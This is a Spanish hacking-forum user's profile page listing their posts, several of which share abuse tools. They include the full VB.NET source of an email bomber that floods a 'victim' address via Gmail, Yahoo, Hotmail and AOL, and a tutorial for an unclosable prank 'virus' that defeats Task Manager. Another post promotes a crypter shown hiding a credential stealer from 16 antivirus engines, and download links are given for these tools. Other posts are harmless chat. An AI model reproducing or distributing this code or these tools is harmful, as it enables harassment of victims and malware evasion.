• Poska

    Hola gente de UJ (Cuánto tiempo por cierto), el caso es que tengo una duda, y como hace bastante tiempo que no me meto en ningún foro, me dirijo a vosotros, que habéis sido mi última comunidad.
    Quería preguntaros si sabéis algo sobre el sony xperia U y el sony xperia S. Lo que busco es, básicamente un móvil que tenga android, una pantalla de calidad y que se pueda usar bien sin que se pete a la mínima que un programa sea un poco pesado. Estoy entre esos dos por una de esas ofertas de pagar a plazos.
    En principio me había decidido por el xperia u (que vale 140€) pero no sé si es demasiado cutre (pregunto) así que también he mirado el S, que lo tienen varios amigos y va genial, pero es el doble de caro. ¿Qué me merece más la pena hacer?
    Saludos :wiii:

    publicado en Móviles leer más
  • Poska

    No se photoshop ni soy una mariposita que decora mierdas como vosotros, lo que importa es el mensaje
    y si soys tan buenos porque estais siempre metidos descargando o trayendoos cosas de dmx? cogeremos hacks de ug pero las putas guias las hago yo y otros en español palabra por palabra paq luego os las traigais aqui
    y Anghios si tan poco te interesa dmx que haces viendo cosas alli? ;D

    publicado en Spam leer más
  • Poska

    buenas, hace tiempo hice un e-mail spammer en vb y os traigo la versión 2.0, me apetecía hacer algo rápido y me puse y la mejoré xd
    *Novedad!
    -Ahora no solo usa gmail, también AOL,Yahoo y hotmail (los que conseguí el smtp xdd)
    Capturilla:

    Descarga: [http://www.mediafire.com/?6vr48vy9m1564t3][0]">[http://www.mediafire.com/?6vr48vy9m1564t3][1]
    Source code para interesados:

    Imports System.Net.Mail
    Public Class FrmMain
    
        Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
            If txtuser.Text = "" = True Then
                MsgBox("El usuario o contraseña introducido no es válido", MsgBoxStyle.Critical, "Error")
                Exit Sub
            ElseIf txtpass.Text = "" = True Then
                MsgBox("El usuario o contraseña introducido no es válido", MsgBoxStyle.Critical, "Error")
                Exit Sub
            End If
    
            If server.Text = "smtp.gmail.com" Then
                Gmail.Start()
                Button2.Enabled = True
                txtuser.Enabled = False
                txtpass.Enabled = False
                txtsubj.Enabled = False
                txtmsg.Enabled = False
                server.Enabled = False
                Button1.Enabled = False
                txtvictim.Enabled = False
            ElseIf server.Text = "smtp.live.com" Then
                Hotmail.Start()
                Button2.Enabled = True
                txtuser.Enabled = False
                txtpass.Enabled = False
                txtsubj.Enabled = False
                txtmsg.Enabled = False
                server.Enabled = False
                Button1.Enabled = False
                txtvictim.Enabled = False
            ElseIf server.Text = "smtp.uk.aol.com" Then
                AOL.Start()
                Button2.Enabled = True
                txtuser.Enabled = False
                txtpass.Enabled = False
                txtsubj.Enabled = False
                txtmsg.Enabled = False
                server.Enabled = False
                Button1.Enabled = False
                txtvictim.Enabled = False
            ElseIf server.Text = "plus.smtp.mail.yahoo.com" Then
                Yahoo.Start()
                Button2.Enabled = True
                txtuser.Enabled = False
                txtpass.Enabled = False
                txtsubj.Enabled = False
                txtmsg.Enabled = False
                server.Enabled = False
                Button1.Enabled = False
                txtvictim.Enabled = False
            End If
            Exit Sub
        End Sub
    
        Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
            Gmail.Stop()
            Yahoo.Stop()
            Hotmail.Stop()
            AOL.Stop()
            txtuser.Enabled = True
            txtpass.Enabled = True
            txtsubj.Enabled = True
            txtmsg.Enabled = True
            server.Enabled = True
            Button1.Enabled = True
            txtvictim.Enabled = True
            Button2.Enabled = False
        End Sub
    
        Private Sub Gmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Gmail.Tick
            Dim mail As New MailMessage
            mail.To.Add(txtvictim.Text)
            mail.From = New MailAddress(txtuser.Text)
            mail.Subject = txtsubj.Text
            mail.Body = txtmsg.Text
            Dim SMTP As New SmtpClient(server.Text)
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential(txtuser.Text, txtpass.Text)
            MailZ.Text = Val(MailZ.Text + 1)
            SMTP.Send(mail)
    
        End Sub
    
        Private Sub Yahoo_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Yahoo.Tick
            Dim mail As New MailMessage
            mail.To.Add(txtvictim.Text)
            mail.From = New MailAddress(txtuser.Text)
            mail.Subject = txtsubj.Text
            mail.Body = txtmsg.Text
            Dim SMTP As New SmtpClient(server.Text)
            SMTP.Port = 465
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential(txtuser.Text, txtpass.Text)
            MailZ.Text = Val(MailZ.Text + 1)
            SMTP.Send(mail)
    
        End Sub
    
        Private Sub AOL_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles AOL.Tick
            Dim mail As New MailMessage
            mail.To.Add(txtvictim.Text)
            mail.From = New MailAddress(txtuser.Text)
            mail.Subject = txtsubj.Text
            mail.Body = txtmsg.Text
            Dim SMTP As New SmtpClient(server.Text)
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential(txtuser.Text, txtpass.Text)
            MailZ.Text = Val(MailZ.Text + 1)
            SMTP.Send(mail)
        End Sub
    
        Private Sub Hotmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Hotmail.Tick
            Dim mail As New MailMessage
            mail.To.Add(txtvictim.Text)
            mail.From = New MailAddress(txtuser.Text)
            mail.Subject = txtsubj.Text
            mail.Body = txtmsg.Text
            Dim SMTP As New SmtpClient(server.Text)
            SMTP.Port = 25
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential(txtuser.Text, txtpass.Text)
            MailZ.Text = Val(MailZ.Text + 1)
            SMTP.Send(mail)
        End Sub
    
    
        Private Sub txtsubject_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
            txtpass.UseSystemPasswordChar = True
        End Sub
    
        Private Sub server_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles server.SelectedIndexChanged
            If server.Text = "smtp.gmail.com" Then
                txtuser.Text = "@gmail.com"
            ElseIf server.Text = "smtp.live.com" Then
                txtuser.Text = "@hotmail.com"
            ElseIf server.Text = "smtp.uk.aol.com" Then
                txtuser.Text = "@aol.com"
            ElseIf server.Text = "plus.smtp.mail.yahoo.com" Then
                txtuser.Text = "@yahoo.com"
            End If
        End Sub
    
        Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox1.Click
            Form2.Show()
        End Sub
    End Class
    

    saludos

    [0]: <a href=
    [1]: http://www.mediafire.com/?6vr48vy9m1564t3

    publicado en Programación leer más
  • Poska

    Buenas, aquí os pongo este tuto que hice hace tiempo sobre como hacer un famoso msn freezer o congelador xdd, usé vb2008
    Nuevo proyecto windows application form y tal, modeamos el form al gusto y ahora:

    Creamos 2 buttons: Freeze y Unfreeze
    Luego un checkbox y 1 textbox
    3 labels: en uno ponemos correo en otro estado y el otro lo dejamos en blanco
    1 Timer y lo dejamos como viene por defecto
    1 WebBrowser y en url le ponemos [http://mobile.msn.com/hm/folder.phpx][0]">[http://mobile.msn.com/hm/folder.phpx][1] y en visible false (para que no se vea s.

    [0]: <a href=
    [1]: http://mobile.msn.com/hm/folder.phpx

    publicado en Programación leer más
  • Poska

    Buenas gente de UJ, abro este post para compartir con vosotros una guía sobre como programar en batch (supongo que todos conoceis lo que es, si no más bajo dejo info de la wikipedia :icon_cheesygrin: ) que hice hace un mes para dmx (otro foro :icon_rolleyes: ) .

    Explico los conceptos/comandos básicos de la manera más simple que se me ocurrio para que los que quieran empezar lo encuentren fácil, está en formato pdf y son 3 hojitas pero no se hace largo jaja. Espero que os sirva si teneis alguna duda me avisais Ok? :) venga saludos

    Info batch: [http://es.wikipedia.org/wiki/Batch][0]">[http://es.wikipedia.org/wiki/Batch][1]
    Descarga (formato .pdf) si alguien lo quiere en .doc o .txt que lo pida y lo subo :)
    Aquí: [http://www.mediafire.com/?349lvf9arenjj16][0]">[http://www.mediafire.com/?349lvf9arenjj16][2]

    [0]: <a href=
    [1]: http://es.wikipedia.org/wiki/Batch
    [2]: http://www.mediafire.com/?349lvf9arenjj16

    publicado en Programación leer más
  • Poska

    _Bueno, voi a explicar como crear el típico virus molesto que al querer salir te abre otra ventanita igual, y que si intentas cerrar te da error.
    Como no tengo programa de edición de video y no quiero colgar un video de 10min explicare el proceso y despues pondre un video en el que realizo los pasos sin explicar nada xD.
    1- Entramos a vb y creamos un nuevo proyecto windows form
    2- Añadimos un button un label y un picture box, (la imagen tendra el truco de que si la pulsamos el programa se cierra, si quieres ser mas capullo mas abajo explico como desabilitarlo)
    3- Editando: Cambiamos el campo "text" del form y del button, en el form ponemos el nombre de nuestro virus y en el button salir. En el label ponemos el texto que queramos, yo puse " a ver si sales de mi vius zorra" xDD.Tambien podemos editar el color del fondo del form etc. En el picturebox ponemos una imagen, si queda descentrada, vamos a la pestañita que sale arriba del picture box y en size mode poner zoom.Vamos al form1 y en formborderstyle ponemos fixed single.
    Bien, ahora vamos al form1 y hacemos doble click. borramos todo lo que hay y pegamos este codigo:

    Public Class Form1
        Dim times As Integer = 1
    
        Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs)Handles Me.FormClosing
            If e.CloseReason = CloseReason.UserClosing Then
                e.Cancel = True
                MsgBox("Creo que no!", MsgBoxStyle.Critical, "Error!")
            ElseIf e.CloseReason = CloseReason.ApplicationExitCall Then
                e.Cancel = True
                MsgBox(" La aplicacion no se puede finalizar !", MsgBoxStyle.Critical, "Error!")
            ElseIf e.CloseReason = CloseReason.TaskManagerClosing Then
                e.Cancel = True
                MsgBox("Administrador de tareas? no vale!")
                Application.DoEvents()
    
    
    
    
            End If
        End Sub
    
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    
        End Sub
    
        Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
            Dim newform1 As New Form1
            newform1.Text = "Virus Webon" & times.ToString
            newform1.Show()
            times += 1
        End Sub
    
        Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox1.Click
            End
        End Sub
    End Class
    

    Explico el codigo:
    La primera parte simula un error en el administrador de tareas y no nos deja cerrar el programa.
    La segunda parte hace que cuando pulsemos el boton se abra el programa otra vez
    Si no quieres k el programa se cierre, no pongas imagen
    Y eso es todo, un buen tuto para principiantes, con un resultado similar a este:

    Video:


    Un saludo si hay dudas preguntais.
    Si no saben crearlo, dejo el mio por si lo quieren usar: [http://www.megaupload.com/?d=IKWWBLRF][1]">[http://www.megaupload.com/?d=IKWWBLRF][2]_

    [1]: <a href=
    [2]: http://www.megaupload.com/?d=IKWWBLRF

    publicado en Guias leer más
  • Poska

    [alinear-centro]

    Buenas, pues recien hice esta aplicación siguiendo con mi aprendizaje de VB, me ha llevado algo de tiempo aunque no es demasiado compleja.
    Se trata del típico "Email Spammer" para un foro en el que estoy trabajando xD, va de la siguiente forma:
    Introduces tu gmail&pass
    El correo a spammear
    El mensaje
    Pulsas enviar y hasta que decidas parar el programa manda ese mismo mensaje.
    Espero que os guste :)

    Descarga: [http://www.mediafire.com/?x6aku56vljes0hh][0]">[http://www.mediafire.com/?x6aku56vljes0hh][1]

    Video:

    [

    ][2]

    Agradecimientos:

    Xen0n por animarme con el vb como siempre xD[/alinear-centro]

    [0]: <a href=
    [1]: http://www.mediafire.com/?x6aku56vljes0hh
    [2]:

    publicado en Utilidades leer más
  • Poska

    Hecho aproximadamente en 30 minutos en vb

    Se trata de un crypter sencillo, que lleva mi nombre y mi foro "oficial", capaz de encryptar a formato AES,RC4 y XOR (típico).

    Probando:
    Encryptamos un server de stealer hecho con Odessa y lo subimos a NoVirusThanks. Este fué el resultado:

    File Info

    Report date: 2011-01-30 21:54:34 (GMT 1)
    File name: ddddd
    File size: 25695 bytes
    MD5 Hash: 5ab2b8db3e5a1841ff9083db26163d9c
    SHA1 Hash: 8b75ef4a7703c1bb9438c7b1c9a793b72940367a
    Detection rate: 0 on 16 (0%)
    Status: CLEAN

    Detections

    a-squared -
    Avast -
    AVG -
    Avira AntiVir -
    BitDefender -
    ClamAV -
    Comodo -
    Dr.Web -
    F-PROT6 -
    Ikarus T3 -
    Kaspersky -
    NOD32 -
    Panda -
    TrendMicro -
    VBA32 -
    VirusBuster -

    Scan report generated by
    NoVirusThanks.org

    Descarga: [http://www.mediafire.com/?tcz6f076cgzrcqn][1]">[http://www.mediafire.com/?tcz6f076cgzrcqn][2]

    PD: Para quién no sepa lo que es un crypter (quien no lo sepa no creo que le dé uso pero bueno xD):
    Es una aplicacion que se usa para "encryptar"(compilar) virus, servers de troyanos etc, para evitar que sean detectados cuando la victima lo reciba ( aunque no siempre funciona, no se puede asegurar que no sera detectado)

    [1]: <a href=
    [2]: http://www.mediafire.com/?tcz6f076cgzrcqn

    publicado en Utilidades leer más
  • Poska

    Heey! No recuerdo cuando me registré en este foro, pero dije que iba a colaborar y ni siquiera me he conectado xD
    Lo siento, a partir de ahora me animo y haré alguna colaboracion, sobretodo de programación y eso.
    Venga, un saludo a todos espero que me re-recibais bien :)

    publicado en Presentaciones y despedidas leer más

Error Interno.

¡Ooops! ¡Parece que algo salió mal! No te preocupes, ¡nuestros simios hiperinteligentes lo solucionarán!